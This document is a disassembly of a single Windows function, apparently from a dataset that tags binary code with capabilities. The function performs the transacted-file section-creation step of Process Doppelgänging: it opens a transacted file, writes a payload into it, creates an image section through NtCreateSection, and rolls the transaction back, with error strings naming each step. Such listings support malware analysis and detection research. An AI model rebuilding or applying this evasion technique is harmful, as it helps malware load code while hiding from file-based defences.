Function at 0x1400110ff
Capabilities:
Write file on windows

Disassembly:
jmp 0x14001cba0
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x278
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x5a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x298]
mov rax, qword [0x140039040]
xor rax, rbp
mov qword [rbp + 0x218], rax
lea rcx, [0x1400410fe]
call fcn.140011a05
nop
mov dword [rbp + 0x64], 0
mov eax, dword [rbp + 0x64]
mov dword [rbp + 0x44], eax
mov eax, dword [rbp + 0x44]
mov dword [rbp + 0x24], eax
mov eax, dword [rbp + 0x24]
mov dword [rbp + 4], eax
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0x88], rax
lea rdx, str.NtCreateSection
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xa8], rax
mov qword [rsp + 0x30], 0
mov eax, dword [rbp + 0x64]
mov dword [rsp + 0x28], eax
mov eax, dword [rbp + 0x44]
mov dword [rsp + 0x20], eax
mov r9d, dword [rbp + 0x24]
mov r8d, dword [rbp + 4]
xor edx, edx
xor ecx, ecx
call fcn.1400112bc
mov qword [rbp + 0xc8], rax
cmp qword [rbp + 0xc8], 0xffffffffffffffff
jne 0x14001cc96
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_create_transaction__Error_Code__x_n
call fcn.1400114d3
nop
mov rax, 0xffffffffffffffff
jmp 0x14001ce44
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov rax, qword [rbp + 0xc8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov rcx, qword [rbp + 0x240]
call qword [sym.imp.KERNEL32.dll_CreateFileTransactedW]
mov qword [rbp + 0xe8], rax
cmp qword [rbp + 0xe8], 0xffffffffffffffff
jne 0x14001cd17
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_create_transacted_file_Error_Code__x_n
call fcn.1400114d3
nop
mov rax, 0xffffffffffffffff
jmp 0x14001ce44
mov dword [rbp + 0x104], 0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x104]
mov r8d, dword [rbp + 0x250]
mov rdx, qword [rbp + 0x248]
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14001cd71
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_writing_payload__Error_Code__x_n
call fcn.1400114d3
nop
mov rax, 0xffffffffffffffff
jmp 0x14001ce44
mov qword [rbp + 0x128], 0
mov rax, qword [rbp + 0xe8]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x1000000
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf001f
lea rcx, [rbp + 0x128]
call qword [rbp + 0xa8]
mov dword [rbp + 0x144], eax
cmp dword [rbp + 0x144], 0
je 0x14001cddd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_NtCreateSection__Error_Code__x_n
call fcn.1400114d3
nop
mov rax, 0xffffffffffffffff
jmp 0x14001ce44
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov qword [rbp + 0xe8], 0
mov rcx, qword [rbp + 0xc8]
call fcn.14001113b
test eax, eax
jne 0x14001ce24
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_RollbackTransaction__Error_Code__x_n
call fcn.1400114d3
nop
mov rax, 0xffffffffffffffff
jmp 0x14001ce44
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov qword [rbp + 0xc8], 0
mov rax, qword [rbp + 0x128]
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14002ef50]
call fcn.140011875
mov rax, rdi
mov rcx, qword [rbp + 0x218]
xor rcx, rbp
call fcn.14001150a
lea rsp, [rbp + 0x228]
pop rdi
pop rbp
ret